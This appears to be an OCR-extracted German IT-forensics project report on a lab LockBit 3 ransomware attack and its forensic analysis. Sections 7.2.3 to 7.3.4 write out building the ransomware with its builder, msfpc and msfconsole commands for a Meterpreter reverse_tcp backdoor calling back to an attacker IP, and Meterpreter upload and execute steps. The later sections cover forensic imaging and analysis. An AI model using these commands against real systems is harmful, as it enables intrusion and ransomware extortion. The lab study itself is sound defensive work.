Ein Ordner mit Testfiles wurde erstellt und auf die SD-Karte in zwei Ordner
kopiert. Einer der Ordner wurde im Netzwerk freigegeben, der andere Ordner
wurde nicht freigegeben. Hieran soll spater identifiziert werden, wie die
Ransomware mit den im Netzwerk befindlichen indirekt angegriffenen Systemen
interagiert. Weiterhin wurde der freigegebene Ordner des Raspberry Pi Zero WH
als Laufwerk an dem primar angegriffenen Rechner angemeldet.
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7.2.2 Code fir Arduino Uno

Neben Einplantinenrechnern wie dem Raspberry Pi werden auch haufig
Microcontrollerboards fur IOT-Anwendungen und Home Automation eingesetzt.
Ein Vertreter dieser Boards ist der Arduino Uno R3 von Elegoo. Es handelt sich
hierbei um keinen betriebssystembasierten Rechner, der mit allerlei Scripten und
Software ausgestattet werden kann. Der Arduino wird mit einer speziell
entwickelten IDE  programmiert. Es stehen zwar umfangreiche
Programmbibliotheken zur Verfugung, die unter anderem das Einbinden des
Arduinos in eine Netzwerkumgebung moglich machen, jedoch muss jede
Applikation grundsatzlich selbst programmiert und auf den Arduino aufgebracht

werden.

Ein klassisches Filesharing ist mittels den Codebibliotheken nicht moglich. Es
konnen zwar mittels eines SMB-Protokolls Dateien auf ein im Netzwerk geteiltes
Laufwerk geschrieben werden, jedoch ist der Zugriff auf die im Ethernet Shield
vorhandene SD-Karte Uber andere Rechner aus dem Netzwerk auf diese Weise
nicht moglich.

Der Arduino wurde mit einer festen IP-Adresse konfiguriert (192.168.2.129). Es
wurden drei Applikationen erstellt.

Die erste Applikation simuliert analoge Eingange, welche in regelmalligen
Abstanden ausgelesen werden. Dies konnte z.B. eine klassische Wetterstation
im Rahmen einer Home-Automation darstellen. Die zweite Applikation stellt die
gelesenen Werte mittels eines Webservers als HTML-Seite im Netzwerk zur
Verfugung. Die dritte Anwendung schreibt die Daten in ein CSV-File auf die SD-
Karte.

0 © 1921682129
9:07:51.091 -> GET / HTTP/1,1

9:07:51.091 -> Host: 192.168.2.129

9:07:51.124 -> User-Agent: Mozilla/5.0 (Macintosh; Intel
9:07:51.229 -> xt/html , applicat

9:07:51.301 -> Accept-Longuage: de,en-US 3
9:07:51.335 -> Accept-Encoding: gzip,

9:07:51.368 -> Connection: keep-alive

9:07:51.402 -> Upgrode-Insecure-Requests: 1

9:07:51.440 -> Cache-Control: max-agesd

9:07:51.474 ->

9:07:51.474 -> client disomnected

9:07:53.449 -> dotei oeffnen

9:07:53.449 -> schreiben von o

9:07:53.449 -> schreiben von ;

9:07:53.484 -> schreiben von b

analog input 0 is 294
analog input 1 is 268
analog input 2 is 247
analog input 3 is 263
analog input 4 is 225
analog input 5 is 198

v/ Autoscroll V| Zeitstempel anzeigen
e, “ diattall 7777 Taitinliva
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Abbildung 15: Webserver und CSV-Datei

Weiterhin wurden auch auf die SD-Karte des Arduino die Testdaten kopiert, um

zu eruieren, ob diese Daten ebenfalls von dem Trojaner verschlusselt werden.

7.2.3 Lockbit 3 generieren

Nach dem Entpacken des passwortgeschutzten Zip-Files auf einem Windows-
System muss die Schadsoftware mittels der Datei ,Builder.exe erstellt werden.
Vorab kann Uber die ,config.json“ die Konfiguration angepasst werden, fur
unseren Angriff wurde die Standardkonfiguration gewahlt, es wurden keine
Anpassungen in der Konfigurationsdatei vorgenommen. Im Anschluss wird
automatisch ein Ordner erstellt, der sowohl die Schadsoftware namens ,LB3.exe"
enthalt als auch die Datei ,LB3Decryptor.exe, mit der die Verschlisselung
wieder ruckgangig gemacht werden kann.

Dies wurde nach Abschluss des Versuchs und nach Datensicherung auf dem

primaren Angriffsziel ebenfalls erfolgreich durchgefuhrt:

ABIys 0.( -
) f ’
ABit/s 0 PG-Date
4 Uokumente
()
ABit/s <)

ABit/s .
0f Al Encrypted Fles 9820

ABit/s  P0i Al Decrypted Fles 1915

ABit/s

> . " ! : . - - USB-Laufwerk (E;
Abbildung 16: Entschliisselungsfunktion

Da die ,LB3Decryptor.exe” Datei auch spezifisch uber den Builder erstellt wird,
ist davon auszugehen, dass die Entschlusselung spezifisch auf die
Verschlisslung abgestimmt ist, und es sich um keine pauschale
Entschlusselungsfunktion handelt.
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7.3 Erster Angriff

Fir unser System wahlten wir nicht nur die einfache Ausfuhrung von LockBit auf
einem Zielsystem, indem das Programm direkt auf den Rechner kopiert und
ausgefuhrt wurde, es wurde stattdessen in Teilen ein Hackerangriff nachgestellt.
Die Infektion lief in folgenden Schritten ab.

7.3.1 Reverse-TCP-Payload erstellen

Im ersten Schritt wurde mit dem auf dem Angriffssystem installierten Kali-Linux
das MetaSploit-FrameWork genutzt, um mit dem Befehl:

,sudo msfpc -p windows/meterpreter/reverse_tcp lhost=192.168.2.102 Iport=555
-f exe > /home/kali/reverse_tcp.exe”

eine Payload namens “reverse_tcp.exe” erstellt. Der Befehl nutzt die von MSFW
zur Verfugung gestellte Funktion ,reverse_tcp“ zur Schaffung eines Programms,
welches, am Zielrechner aufgerufen, eine Backdoor ausfuhrt. Diese Backdoor
meldet sich, in unserem Fall auf dem Angriffsrechner mit der IP-Adresse
192.168.2.102 und der Portnummer 555.

7.3.2 Payload ubertragen

Um die Payload nun auf den Rechner zu ubertragen, konnen wiederum
verschiedene Wege gewahlt werden. Eine klassische Moglichkeit ware, eine
Spam-Mail mit entsprechendem Anhang — eben die Backdoor — zu verschicken,
in der Hoffnung, dass der Empfanger diese ausfuhrt.

Eine weitere Moglichkeit ware, den Empfanger ebenfalls Uber eine Spam-Mail zu
einem Download zu veranlassen, um z.B. ein vermeintliches Sicherheitsupdate

zu installieren, oder andere vermeintlich nutzliche Programme.

Dieser Weg wurde in unserem Fall simuliert. Im Speicherpfad der Payload wurde
Uber den Befehl:

~python3 -m http.server®
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eine einfache Filesharing Anwendung eingerichtet, Uber die vom Angriffsrechner

aus, in unserem Fall Uber die Adresse: 192.168.2.102:8000 zugegriffen werden
kann.

Angriffsrechner Zielrechner

192.168.2.102 192.168.2.103
[a) bk - a _
Dutel Aitionen Bearbeten Ansicht Hitfe c ] . e

aligkali:-$ s j
Bilder kusente Musik reverse_tcp.exe Videos

Directory listing for

= ta-_moVaude Réfantlich €chraibtisch Vorlagen ) E
'u=~ python3 -m http.server : .
::Hl- m: on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... -

Abbildung 17: Download "reverse_tcp.exe"

Der Download erfolgt gewohnlich Uber den Browser. Um die Schadsoftware
ausfuhren zu konnen, muss jedoch der Windows-Defender komplett
abgeschaltet werden, da ansonsten zum einen der Download, zum Zweiten aber
auch das Ausfuhren der Payload nicht zugelassen werden wurde. Weiterhin

muss die Payload im Administratormodus ausgefuhrt werden.

7.3.3 Listener einrichten

Bevor das Ausfuhren der Payload eine erfolgreiche Backdoor zu dem
Angriffsrechner herstellen kann, muss zuerst auf dem Angreifer-System ein
Listener konfiguriert und gestartet werden. Hierzu nutzen wir wieder die
Funktionen des MSFW. Mit der Funktion

,sudo msfconsole®

starten wir die Metasploit-Konsolenanwendung. Mit dem Befehl:

L2use exploit/multi/handler®
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starten wir den spezifischen Exploit, den wir als Backdoor nutzen wollen. Diesen

mussen wir mit folgenden Befehlen konfigurieren:

Zur Definition der verwendeten Payload:

,Set payload windows/meterpreter/reverse_tcp*

Zur Definition des von der Paylaod aufgerufenen IP Adresse:
,set lhost 192.168.2.102"

Zur Definition des von der Payload aufgerufenen Ports:

,set Iport 555¢

Diese Angaben mussen mit der unter dem Punkt 7.3.1 erstellten Payload

Ubereinstimmen.
Mit dem abschlielRenden Befehl:
Lexploit*

wird die Konfiguration dbernommen, und der Reverse-TCP-Listener auf der
konfigurierten IP-Adresse und dem konfigurierten Port gestartet.

Wird nun am angegriffenen Rechner ebenfalls der Prozess ,reverse_tcp.exe”
gestartet, wird zwischen dem Angreifer und dem angegriffenen Rechner eine

Verbindung hergestellt.
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VDM Aktionen Bearbeiten Ansicht Hilfe

metasploit v6.0.28-dev 2 )
- —.-l[ 2097 exploits - 1128 auxiliary - 356 post
- [ 592 payloads - 45 encoders - 10 nops
4 - —=

s =— ==l 7 evasion

a module's description using

. View
e e & = d version 1in your browser with

or the enhance

11/-ull\/nand\er

p d gene
e | ccnflgurtd D‘W‘D‘; >gsot paylu;ld windows

b 90 explo n(/sl\el‘.,reverw tcp

/w.éu'rprerer/resers--iup

loit( sl
psfé exp mdo,s/meterﬂf‘;(:r/ru!r LD, 168.2.102

payload = set lhost

asfé exploit(
lhost = 192.168.2.102

psfé exploit(
lport = s ) > exploit
psfé exploit( Rl

2.103
ey 555 - 192.168

) > set \port 555

s
terpreter Sess- ope
at ::13«87—29 23:14:19 +0 I

peterpreter > B

Abbildung 18: erstellte reverse TCP Verbindung

7.3.4 LB 3.0 iibertragen und starten

Die wunter Punkt: 7.3.3 erstellte Reverse-TCP-Verbindung zwischen
angegriffenem Rechner und Angreifer kann nun auf verschiedene Art und Weise

genutzt werden.

Eine Mdglichkeit besteht in dem Ausflihren einer Shell, mit Hilfe derer prinzipiell
dieselben Vorgange durchgeflihrt werden koénnen, als wirde die Shell lokal auf
dem angegriffenen System laufen. Hierzu nutzen wir in der MSFW, Meterpreter
umgebung den Befehl:

,shell*
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» shell
process 6612 created.

Channel 2 created.
microsoft Windows [version 10.0.19055.20061
(c) Mmicrosoft Corporation. Alle Rechte vorbehalten.

loads>dir

C:\Users\Forensxk 11\ Down

dir
volume 1in Laufwerk C: hat keine Bezeichnung.

Volumeserxennuumcr: p67D-5458

C:\Users\Forensik Il\Dounloads

Verzexchnis von

30.07.2023 20:40 <DIR>
4 <DIR> o
30.07.2023 i 73.802 reverse_tcp-

.97.2023 00:40
- 1 patei(en), I 73.802 Byte56 -
2 Verzexchnxs(se), 21&.#08.503‘29 ytes

exe

freli

C:\Users\Forensxk Ii\Downloads>l

Abbildung 19: Meterpreter Shell

Ei : . :
meyveltere Méglichkeit besteht darin, spezifische Befehle zum Ubertragen und
Ausfuhren von Dateien zu nutzen, ohne eine spezifische Shell:

2um C
um Ubertragen unserer Schadsoftware LockBit mit dem Dateinamen ,LB3.exe"
auf unser Zielsystem nutzen wir den Befehl: e

,2upload /.../LB3.exe c:/Users”

n - L
dem spezifischen Fall wird die Datei ,LB3.exe” von dem Speicherort auf d

0 . . em
Angriffssystem im Zielsystem in den Ordner ,c:/Users* kopiert

z
um ferngesteuerten Starten der Schadsoftware nutzen wir den Befehl:
.execute -f LB3.exe*

peterpreter > 1s
Listing: C:\Users

Mode Type Last modified Name

40777/ ruxXrwxrwx dir 2019-12-07 09:30: All Users
40555/ r-xr-xr-x 8192 dir 2019-12-07 103: Default
40777/ ruXTWXTWX 0 dir 2019-12-07 : pefault User
40777/ rwxrwxrex 8192 dir 2023-07-30 120 IT Forensik II
100777/ ruxrwxrwx 157184 fil 2023-07-30 LB3.exe
40555/ r-Xr-xXr-x 4096 dir 2019-12-07 Public
100666/ rw-Trw-Trw- 174 fil 2019-12-07 desktop.ini

meterpreter > execute -f LB3.exe
process 7348 created.

peterpreter > B
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Abbildung 20: Lockbit ferngesteuert gestartet

Unmittelbar nach dem Starten des Prozesses beginnt LockBit mit der

Verschlisselung des Systems.

7.4 Erste Ergebnisse

Die Testdaten auf dem Angriffssystem waren nach ca. 2-3s verschlusselt, die

Daten auf dem freigegebenen Netzwerklaufwerk des Raspberry Pi Zero waren

nach ca. 3-4s verschlisselt.

Abbildung 21: Lockbit Desktophintergrund

Die Auswertung der PCAP-Daten konnte dann zeigen, inwieweit ein Abfluss der
Daten stattgefunden hatte, sofern natirlich eine bestehende Internetverbindung

vorhanden gewesen ware.

Die Daten des Raspberry Zero auf dem im Netzwerk freigegebenen Ordner
wurden ebenfalls verschlusselt. Die Testdaten des nicht freigegebenen Ordners
wurden nicht verschlisselt. Zur Erinnerung: das freigegebene Laufwerk des
Raspberry Pi Zero wurde am angegriffenen Rechner als Laufwerk eingebunden.

Im ersten Schritt erschien verwunderlich, dass die Daten auf dem Desktop-PC
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mit Netzwerkfreigabe, aber ohne eingerichtetes Laufwerk auf dem angegriffenen

Rechner, nicht verschlisselt wurden.

Weniger Uberraschend war hingegen, dass die Testdaten auf der SD-Karte des
Arduinos nicht verschlusselt wurden, auch auf dem angreifenden Kali-System

wurden keine Daten verschliusselt.

7.5 Zweiter Angriff

Wie unter Punkt 7.4 beschrieben, blieben die Daten des Desktop-PC-Systems
trotz vorhandener Netzwerkfreigabe unangetastet. Dieser Umstand machte
einen zweiten Angriff erforderlich. Das angegriffene System wurde nochmal
komplett aufgesetzt und wie unter 7.2.1 neu konfiguriert. Als einziger Unterschied
in der Konfiguration wurde nun der freigegebene Ordner des Desktop-PC
zusatzlich als Laufwerk auf dem zu kompromittierenden System angemeldet.

Somit genau aquivalent zu dem Raspberry Zero.

Im Anschluss wurde der Angriff wie unter 7.3 nochmals ausgefuhrt. Bei dem
zweiten Angriff wurden nun auch die im Netzwerk freigegebenen Daten des
Desktop-PCs verschlusselt. Die nicht im Netzwerk freigegebenen Daten wurden
nicht angetastet. Dies lasst insgesamt den Schluss zu, dass jeweils nur Daten
angegriffen werden, auf die der Nutzer des kompromittierenden Systems Zugriff
hat und auch ein entsprechendes Laufwerk eingerichtet wurde. Eine reine

Freigabe und Auffindbarkeit der Gerate und Daten im Netzwerk reicht nicht aus.

7.6 Forensische Images und Sicherungen

FuUr die spatere Analyse des Angriffs wurde zu verschiedenen Zeitpunkten von
allen Geraten und Datentragern forensische Sicherungen erstellt. Hierzu wurde
als Hardware die von Fa. seconas GmbH zur Verfugung gestellten Writeblocker
verwendet, sowie ein von Hans Peter Merkel angepasste Linux-Version. Zur

Erstellung des forensischen Images selbst wurde das Programm ,EWF Acquire®
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genutzt.

méeg‘ge @\ e

S x USB 3.0 Forensic Card Reader

o

Abbildung 22: SD Card Reader mit Writeblocker
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Abbildung 23: SATA Adapter mit Writeblocker

Images wurden, vor dem Angriff, nach dem ersten Angriff, sowie nach dem
zweiten Angriff, erstellt.

Daruber hinaus wurde fir den Laptop und den Desktop-PC jeweils nach dem
ersten und nach dem zweiten Angriff ein RAM-Dump mit dem Programm

,winpmem® erstellt.

Weiterhin wurden wahrend des Angriffs in verschiedenen Phasen PCAP-Files

zur Auswertung erstellt.
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OneDrive P Alles durchsuchen

Christoph Muehlbauer T Hochladen v @ Teilen £ Verkniipfung zu ,Meine Dateien” hinzufiigen -+
B Eigene Dateien

D Zuletzt verwendet 3 . - o q 1
Fir Sie freigegeben > Eigene Dateien > IT-Forensik Projekt 2

& Fotos

| & Geteit [ Namet v Geandert Dateigréfe - Teilen

Papierkorb & ~PC_Desktop vor 22 Stunden 705G8 & Geteitt

8 ’\IPC,Laptop,erl Gestern um 10:45:49 381GB &3 Geteilt
%s “peap vor 2 Tagen 586 MB &3 Geteilt
& “Raspid vor 2 Tagen & Geteitt
"8 :Rastem,erl vor 14 Stunden 391GB & Geteilt
28 ~SD_Arduino_erl Gester um 00:1415 15768 & Geteit
l
OneDrive L Alles durchsuchen

Christoph Muehlbauer T Hochladen v @ Teilen £ Verkniipfung zu ,Meine Dateien” hinzufiigen -+

B Eigene Dateien

D Zuletzt verwendet . y - | .

Fir Sie freigegeben > Eigene Dateien > IT-Forensik Projekt 2 > PC_Laptop_erl &
& Fotos
| & Geteit [ Namet v Geandert Dateigréfie Teilen

@ Papierkorb & nach_Infekt Gestern um 04:22:11 164 GB & Geteit
T8 nach_Infekt 2 Gestern um 10:45:49 160 GB & Geteilt
8 vor_Infekt Gestern um 23:43:12 5.76 GB & Geteilt

X
l
OneDrive L Alles durchsuchen
Christoph Muehlbauer T Hochladen v @ Teilen £ Verkniipfung zu ,Meine Dateien” hinzufiigen -+

£ Eigene Dateien

D Zuletzt verwendet

@ Fotos
& Geteilt O Namer v Geandert DateigréBe - Teilen
@ Papierkorb ] “laptop2raw Gestern um 05:33:14 874GB & Geteilt
[ “mdshashtxt Gestern um 03:40-29 44 Bytes S Geteilt
[ “pc3gor Gestemum 10:4549 7.3 GB & Geteit
13

Abbildung 24: gesharte Images
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8 Auswertung des Versuchs

Im Tatigkeitsfeld der IT-Forensik werden grundsatzlich zwei Strategien mit

unterschiedlicher Zielsetzung angewandt.

Zum einen wird eine Post-Mortem-Analyse des gesicherten Datenbestandes
durchgefuhrt. Hierfur werden die auszuwertenden Datentrager in der Regel von
den IT-Systemen getrennt und eine bitweise Kopie erzeugt, die zu einem
spateren Zeitpunkt in einer forensischen Softwareumgebung untersucht wird. Ziel
ist die moglichst umfassende (und daher zeitraubende) Untersuchung des
vorhandenen Datenbestandes und in Folge davon der rechtssichere Nachweis
und die Sicherung der vorhandenen Spuren. Nachteil dieser Vorgehensweise im
Zuge der Untersuchung einer Schadsoftware-Attacke ist, dass der Prozess der
Datensicherung erst nach Abschluss des Angriffes erfolgen kann, da die
Datentrager ausgebaut und zeitaufwandig gesichert werden mussen. Von der
Schadsoftware durchgefuhrte Bereinigungsmalnahmen vernichten oft einen
GroRteil der verwertbaren Spuren und Hinweise auf den Ablauf des Angriffes.
Eine forensische Datentragerauswertung zeigt dementsprechend nur

vorhandene 10Cs auf, in den wenigsten Fallen jedoch |OAs.

Das zweite Teilfeld der IT-Forensik, die Live-Forensik, dient in erster Linie der
Analyse und Auswertung von flichtigen Daten wie dem Inhalt des
Arbeitsspeichers, vorhandener Netzwerkverkehr oder Dateiveranderung vor
Abschluss der Spurenbeseitigungsmallnahmen wie der Ldschung von
Logdateien. Im Gegensatz zur Post-Mortem-Analyse sind hier die Moglichkeiten
beschrankt, 10Cs festzustellen, da die Analyse unter hohem Zeitdruck
durchgefuhrt wird. Sie kann jedoch dafur dienen, IOAs nachzuweisen, die nach

Abschluss des Angriffes nicht mehr im Datenbestand vorhanden sind.

Im hier vorgenommenen Versuch wurden beide Strategien angewandt, um den

Angriff moglichst prazise nachvollziehen zu kdnnen.
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8.1 Auswertung der Festplatten

Bei der forensischen Post-Mortem-

X-Ways Forensics 20.9 SR-4 x64 (27.09.2023)

© 1995-2023 Stefan Fleischmann, Auswertu ng der |mageS der

X-Ways Software Technology AG
Made in Germany. All rights reserved.

r— angegriffenen Computer und loT-

seconas GmbH

Laut Dongle sind/waren alle bis zum 23.09.2024 erscheinenden Updates fir Sie kostenlos. Geréte Wu rd en a | |gemei n a nerka n nte

Software ist freigeschaltet. v

Q T Arbeitsabldufe angewendet. So wurde

159 GB RAM
128 TB memory address space . .

D L O ) nach der Ubertragung der Images die
F: 1,6 TB frei

Vistal C++ 2013 Package v Integritat derselben anhand der

PID: 138:5::2[32?0‘1:1 hdls: 61 . . . .

CerRE SR B LS Uberprufung der in der EWF-Datei

Oracle Outside In © 1991, 2019 Oracle

gespeicherten Hash-Werte sicher-
Abbildung 25: X-Ways-Version gestellt.

Im Anschluss wurde in X-Ways Forensics 20.9 fur jede Asservatengruppe ein
eigener Fall erstellt, der es ermdglicht, den jeweiligen Datenbestand unabhangig
der anderen Daten-quellen forensisch auszuwerten. X-Ways Forensics bietet alle
Moglichkeiten zur Durchfuhrung der notwendigen Arbeitsschritte sowie der
grafischen Aufarbeitung der Ergebnisse.

8.1.1 Allgemeine Vorgehensweise

Um Erkenntnisse zu den Auswirkungen des Schadsoftware-Angriffes zu
erhalten, sind nur Dateien relevant, deren Inhalte sich zwischen Erzeugung des
Images vor Angriff und dem im Anschluss erstellten Image in irgendeiner Weise
verandert haben. Um Erkenntnisse zu Dateildschungen zu erhalten, wurde der
als frei gekennzeichnete Speicherbereich mithilfe der in X-Ways verfugbaren
Dateisignaturen durchsucht und alle wiederherstellbaren Dateien ermittelt
(Carving).

Die Veranderung des Datenbestandes ist erkennbar, indem im zweiten Schritt
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von jeder in jedem Image enthaltenen Datei sowohl md5- als auch SHA1-Hashes
erzeugt werden. Wahrend der md5-Hash derzeit den Industriestandard darstellt
und in forensischen Untersuchungen fur Vergleiche annahernd immer
Verwendung findet, dient der SHA1-Hash als Backup, sollten sich statistisch
unwahrscheinliche Kollisionen zwischen md5-Hashes unterschiedlicher Dateien
ergeben.

Die erzeugten Hashwerte wurden im Anschluss zwischen den zum jeweiligen
Asservat zugehorigen Dateien verglichen und alle Dateien, deren Hashwert sich
zwischen den einzelnen Images nicht verandert, herausgefiltert. Da jede
Veranderung am Dateiinhalt zwangslaufig eine Veranderung des Hashwertes
nach sich zieht, konnen diese Dateien bei der weiteren Untersuchung

ausgeschlossen werden.

Im dritten Arbeitsschritt wurde der zeitliche Rahmen des Angriffes so gut wie
moglich abgesteckt. Da die untersuchten Gerate aus naheliegenden Grunden
uber keine Internetanbindung verfugen, kdnnen die Systemzeiten nicht Uber eine
externe Quelle synchronisiert werden, bei manueller Einstellung der Zeiten
ergeben sich zwangslaufig groRere Abweichungen zwischen den einzelnen
Geraten. Bei schnell ablaufenden Vorfallen wie einer Schadsoftwareattacke sind
Abweichungen im Sekundenbereich bereits hinderlich. Aus diesem Grund wurde
im Umfeld der Zeitstempelwerte auf den gesichterten PCAP-Dateien der erste
IOC auf dem jeweiligen Asservat ermittelt und die veranderten Dateien
durchsucht, bis der letzte erkennbare 10C gefunden werden konnte. Im weiteren
Verlauf wurden die Dateien, deren Zeitstempel sich zwischen diesen Grenzen
befinden und deren Hashwerte Veranderungen aufzeigen, untersucht.

Zur Sicherheit wurde der gesamte Datenbestand zudem mithilfe
dateiformatspezifischer und statistischer Verschlisselungstests zusatzlich auf
verdeckte Verschlisselungsmallnahmen ohne die Veranderung der
Dateiendung (bekannter IOC) gepruft, jedoch ergebnislos.
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8.1.2 Auswertung des primar angegriffenen Windows-Laptops

oS Von besonderem Interesse war fur uns die

[ I]_ e - . s
Spoespon Auswertung des Datentragers der primar
angegriffene Windows-Laptops, da dort die
o | meisten Angriffsspuren im Datenbestand zu

| A _ _
st whons erwarten waren, sofern diese zu im
| &g Ta Nachhinein feststellbaren Datei-
eino Rasoar veranderungen fihrten. Die hashbasierte

(stat.) 105

. Analyse des Daten-bestandes ergab eine
Abbildung 26: Netzschema Laptop
Veranderung bei insgesamt 33.355
existenten und 33.208 ehemals existenten Dateien, die jedoch nicht
ausschlieRlich auf den LockBit-Angriff zurtckzufuhren ist. Durch den
notwendigen Weiterbetrieb des Betriebssystems bis zum Abschluss der
Erzeugung des Arbeitsspeicherabbildes wurde eine Vielzahl von Dateien
modifiziert, was zu einer Anderung des liberwiegenden Teiles der festgestellten

Dateien gefuhrt hat.

Uber die Analyse der PCAP-Datei konnte der auf die Zeitstempel des Laptops
bezogene zeitliche Rahmen des Angriffes relativ genau ermittelt werden:

o s |00 000 pes

L JL
T

Y

T
nachvollziehbar Bei Post-Mortem-Analyse nicht nachvollziehbar

Anzahl verschliisselter Dateien: 319

Abbildung 27: Angriffsdauer auf dem primir angegriffenen Laptop

Nachfolgend findet sich der zeitliche Ablauf des Angriffes, rekonstruiert anhand
der Dateiveranderungen:
Auf allen System vorhandene Testdaten, verschliisselt

Auf den Angriff zuriickzufiihrende Verschliisselung von Systemdateien

Auf den Angriff zuriickzufiihrende Veranderung von Systemdateien (Erzeugung/Modifikation)
. Auf den Angriff zuriickzufiihrende L6schung von Dateien

Dateien, deren Verdnderung nicht zwangslaufig auf den Angriff zuriickzufiihren ist
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4 GmBe 7 Typ~ |f AnderungA | Pfad
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_JbNi7oNLg9.ico 4 147 KBico 30.07.2023 01:30:50  \ProgramData
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[WsettingsdatbNi7oNlg9 [ 82KBbnizonlq9 _[30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft}
[WlsettingsdatbNi7oNLgd " [" 82 KBJbni7onlg9__[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[WlsettingsdatbNi7oNLgd " [" 82 KBJbni7onlg9__[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft}
[Wsettings.datbNi7oNLq9
:]
ile_July 24 202’ 7_59_27.txt.bNi7oN [ 05KBbni7onlq9[30.07.2023 01:30:5T +2\Users\Forensik INAppData\Local\Packages\Microsoft}
30407»2023 01:3051 +
] 072023 0130551 +
WjsettingsdatbNi7oNLlqd " 82KB[bni7onlq9__[30.07.2023 01:30:51 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft)
WsettingsdatbNi7oNlg9 " 82KBJbnifonlq9 _[30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[WsettingsdatbNi7oNlg9 " 82KBbnifonlq9 _[30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[WlsettingsdatbNi7oNLgd " ["" 82 KBJbni7onlg9_[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
Sém atbNi7oNLg9
HxCommAlwaysOnLog_Old.etl.oNi [ 643 KBJbni7onlq9 |
W|HxStorehxdbNiToNLg9 """ 4,0 MB[bni7onlq9__[30.07.2023 01:30:51_+2\Users\Forensik INAppData\Local\Packages\microsoft
[W]HxCommAlwaysOnLogetlbNi7oNLg9 """ 643 KB[bni7onlq9 _[30.07.2023 01:30:51 +
[WsettingsdatbNi7oNLq9 "8 3 KB[bni7onlq9__[30.07.2023 01:30:51 +2\\Users\Forensik INAppData\Local\Packages\Microsoft
WsettingsdatbNi7oNLlgd " 82 KB[bni7onlq9__[30.07.2023 01:30:51 +2\Users\Forensik I\AppData\Local\Packages\Microsoft
WsettingsdatbNi7oNLlqd " 82 KB[bni7onlqg9__[30.07.2023 01:30:51 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft
WjsettingsdatbNi7oNLlgd " 82KB[bni7onlq9__[30.07.2023 01:30:51 +2[\Users\Forensik I\AppData\Local\Packages\Microsoft
[WStartUnifiedTileModelCache.datbNi7oNLq9 | 436KBbni7onlq9_[30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
WsettingsdatbNi7oNlg9 " |" 82KBbnizonlq9 _[30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[WlsettingsdatbNi7oNLgd " ["" 82 KBJbni7onlg9_[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
814K nl70n|9
’007202’ 01,051 +
W02 filtertrie.intermediatebtbNi7oNLqg9 """ 264 B[bni7onlq9 _[30.07.2023 01:30:51 "
815 Kani70n|9 3007.2023 01:30:51 +
W01 filtertrie.intermediatettbNi7oNLg9 """ 264 Blbni7onlq9__[30.07.2023 1+ 2|\Users\Forensik INAppData\Local\Packages\Microsoft.
W02 filtertrie.intermediatetxtbNi7oNLg9 " 264 Blbni7onlq9__[30.07.2023 01:30:51 +2[\Users\Forensik I\ i
[Wl00filtertrientermediatebtbNi7oNLlg9 " 322 KBJbni7onlq9_[30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[WSettingsindexbNi7oNlg9 " [" 18 MBJbni7onlq9 _[30.07.2023 01:30:51 +2[\Users\Forensik INAppData\Local\Packages\Microsoft
[W[SettingsftbNi7oNLg9 " [""348KB[bni7onlq9__[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[Wlappssynonyms.xtbNi7oNLgd " [ 538 KB[bni7onlq9_[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
[WSettingsindexbNi7oNLg9 " " 1,8 MB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft}
[WsettingsschemabNi7oNLg9 """ 406 B|bnionlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft}
[WSettingsftbNiToNLg9 " 348 KB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft}
[Blapps.csgbNi7oNlgo — [ 07KBJbni7onlgd [30.07.2023 01:30:51 -2\\Users\Forensik I\AppData\Local\Packages\Microsoft

Abbildung 28: Zeitliche Abfolge der Datenbestandsverinderung
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Auswertung des Versuchs

I Name I GroBe | Typ~ . Anderung ~ | Pfad
WlappsschemabNi7oNL@9 " 387Blbni7onlqg9 [30.07.2023 01:30:51 +2\Users\Forensik I\AppData\Local\Packages\Microsoft
[WlappsconversionsbtbNifoNLg9 " 14 MB[bni7onlq9__[30.07.2023 01:30:51 +2\Users\Forensik INAppData\Local\Packages\Microsoft
WlappsglobalstxtbNi7oNLq9 " 344KB[bni7onlq9__[30.07.2023 01:30:51 +2\Users\Forensik I\AppData\Local\Packages\Microsoft
WsettingscsgbNi7oNLg9 " 07KB[bni7onlq9_[30.07.2023 01:30:51 +
WlAppsftbNi7oNLq9 " 177KB[bni7onlq)__[30.07:2023 01:30:51 -
[WjsettingssynonymsbtbNi7oNLg9 " 102 KB[bni7onlq9 _[30.07:2023 01:30:51 +2[\Users\Forensik INAppDatalLocal\Packages\Microsoft.
WjsettingsglobalstxtbNi7oNL@9 " 437KB[bni7onlq9 _[30.07.2023 01:30:51 +2\Users\Forensik I\AppData\Local\Packages\Microsoft
u
nr7onl9
_
osoft 549981C3F5F10_8wekyb3d8bbwe! Ni7oN [ 80KB| KBbm7on|9
M|crosoft AutoGenelaled {SFA45B32-E9E0-3FBB-7BCC-FDE18F294455) DN 3007 202? 01 1 +2|\Users\Forensik INAppData\Local\Packages\Microsoft.
°007202" 07 1 +2\Users\Forensik INAppData\Local\Packages\Microsoft
] Mi osoﬁ,AutoGene.atedJSSDSD)DE EBB1-CoAC-504E- E82D448367FE) DN...
[W|Microsoft AutoGenerated_{E54429AC-6370-B8AD-D5B0-B8F1C7D49DFF1.b 30.07,2023 07 1_+2|\Users\Forensik INAppData\Local\Packages\Microsoft.
B Microsoft AutoGenerated {837EC758-3927-79E8-AE86-FFDDOBS61FB11.bNi...| 364 KB|bni7onlq9 _|30.07.2023 01:30:51 +.
